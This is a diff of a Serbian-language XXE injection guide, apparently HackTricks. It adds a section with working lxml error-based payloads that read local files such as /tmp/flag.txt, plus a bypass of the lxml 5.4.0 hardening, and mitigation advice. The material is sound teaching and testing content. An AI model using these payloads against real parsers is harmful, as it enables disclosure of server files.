@ -534,11 +539,11 @@ Da bi se sadržaj datoteke uključio u poruku o grešci, DTD datoteka se prilago
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja fajla, što se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći kako Out of Band tako i Error-Based tehnike za ekstrakciju osetljivih informacija.
|
||||
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja fajla, jer se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći kako Out of Band tako i Error-Based tehnike za ekstrakciju osetljivih informacija.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti.
|
||||
Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti.
|
||||
|
||||
### Ping back
|
||||
|
||||
@ -609,7 +614,7 @@ Korišćenje PHP base64 filtera
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru.
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršavanje koda na serveru.
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -681,15 +686,73 @@ Pogledajte ovaj neverovatan izveštaj [https://swarm.ptsecurity.com/impossible-x
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
|
||||
|
||||
> [!INFO]
|
||||
> Python biblioteka **lxml** koristi **libxml2** u pozadini. Verzije pre **lxml 5.4.0 / libxml2 2.13.8** i dalje proširuju *parameter* entitete čak i kada je `resolve_entities=False`, čineći ih dostupnim kada aplikacija omogućava `load_dtd=True` i/ili `resolve_entities=True`. Ovo omogućava Error-Based XXE payload-ove koji ugrađuju sadržaj lokalnih fajlova u poruku o grešci parsera.
|
||||
|
||||
#### 1. Eksploatacija lxml < 5.4.0
|
||||
1. Identifikujte ili kreirajte *lokalni* DTD na disku koji definiše **neodređeni** parameter entitet (npr. `%config_hex;`).
|
||||
2. Napravite interni DTD koji:
|
||||
* Učitava lokalni DTD sa `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Ponovno definiše neodređeni entitet tako da:
|
||||
- Čita ciljni fajl (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Gradi još jedan parameter entitet koji se odnosi na **nevažeću putanju** koja sadrži `%flag;` vrednost i izaziva grešku parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Na kraju proširite `%local_dtd;` i `%eval;` tako da parser naiđe na `%error;`, ne uspe da otvori `/aaa/<FLAG>` i otkrije flag unutar izbačene izuzetke – koji se često vraća korisniku od strane aplikacije.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Kada aplikacija ispisuje izuzetak, odgovor sadrži:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> Ako parser prijavi grešku zbog `%`/`&` karaktera unutar unutrašnjeg podskupa, dvostruko ih kodirajte (`&#x25;` ⇒ `%`) da biste odložili ekspanziju.
|
||||
|
||||
#### 2. Obilaženje lxml 5.4.0 ojačanja (libxml2 još uvek ranjiv)
|
||||
`lxml` ≥ 5.4.0 zabranjuje *error* parametarske entitete poput onog iznad, ali **libxml2** i dalje omogućava njihovo ugrađivanje u *general* entitet. Trik je:
|
||||
1. Pročitati datoteku u parametarski entitet `%file`.
|
||||
2. Deklarisati još jedan parametarski entitet koji gradi **general** entitet `c` čiji SYSTEM identifikator koristi *nepostojeći protokol* kao što je `meow://%file;`.
|
||||
3. Postaviti `&c;` u XML telu. Kada parser pokuša da dereferencira `meow://…` ne uspeva i reflektuje pun URI – uključujući sadržaj datoteke – u poruci o grešci.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
|
||||
'>
|
||||
%a; %b;
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Ključne tačke
|
||||
* **Parametarska entiteta** se i dalje proširuje putem libxml2 čak i kada `resolve_entities` treba da blokira XXE.
|
||||
* **Nevažeći URI** ili **nepostojeća datoteka** su dovoljni da se kontrolisani podaci dodaju u izbačenu izuzetak.
|
||||
* Tehnika funkcioniše **bez izlazne povezanosti**, što je čini idealnom za strogo filtrirane okruženja.
|
||||
|
||||
#### Preporuke za ublažavanje
|
||||
* Ažurirajte na **lxml ≥ 5.4.0** i osigurajte da je osnovni **libxml2** **≥ 2.13.8**.
|
||||
* Onemogućite `load_dtd` i/ili `resolve_entities` osim ako nije apsolutno neophodno.
|
||||
* Izbegavajte vraćanje sirovih grešaka parsera klijentu.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Ekstraktujte informacije putem HTTP koristeći svoj spoljašnji DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Izvucite informacije putem HTTP koristeći vlastiti spoljašnji DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user